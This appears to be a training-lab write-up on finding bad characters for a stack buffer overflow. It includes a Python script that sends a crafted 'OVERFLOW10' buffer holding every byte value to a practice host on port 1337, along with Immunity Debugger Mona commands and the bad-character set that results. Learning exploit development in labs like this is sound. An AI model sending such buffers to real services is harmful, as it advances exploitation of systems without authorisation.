# Finding Bad Characters

## Possible Bad Characters

Here's a list of all the characters that could possibly be bad characters. You might notice that `\x00` is not in the list below. That's because it's considered to be a bad character most of the time.

```
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
```

## Modifying POC

We will again be modifying our initial code to include an array of bad characters in the buffer. By sending a buffer with bad characters. We would be able to determine the bad characters that are associated with the application via analysis on Immunity Debugger with the help of `Mona`.

### badChars.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")

    badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537
    eip = "B" * 4
    buffer = prefix + filler + eip + badchars

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

## Bad Chars

```
python badChars.py
```

![](/files/-MdcCf6I6u3GSZlMpCGM)

![](/files/-MdcChialSn6pYM1X4LS)

![](/files/-MdcCp300ZImzYfNWaCZ)

Once the bad chars are sent in, following the `ESP` location in dump reveals to us where our chars are. With this, we would be able to do further analysis with `mona` and locate the actual bad characters.

### Setting working directory for Mona

```
!mona config -set workingfolder c:\Temp
```

![](/files/-MdcDJ5TLfJij9kL7Is0)

### Creating Bytearray with Mona

```
!mona bytearray -b "\x00"
```

![](/files/-MdcDSJ_WADrS-W3g4-S)

### Locating Bad Characters

```
!mona compare -f C:\Temp\bytearray.bin -a <ESP Address>
```

![ESP address](/files/-MdcDcb4erpDDIwNRgLX)

```
!mona compare -f C:\Temp\bytearray.bin -a 0122FA18
```

![](/files/-MdcDljoWVKmGYlggdJB)

![](/files/-MdcDnQJ39QbR__jUYZ1)

Now that we have the results, we have to remove every consecutive output under the Badchars tab excluding “\x00” as that is a bad character for all cases. We would end up with a bad character set of:

```
\x00\xa0\xad\xbe\xde\xef
```


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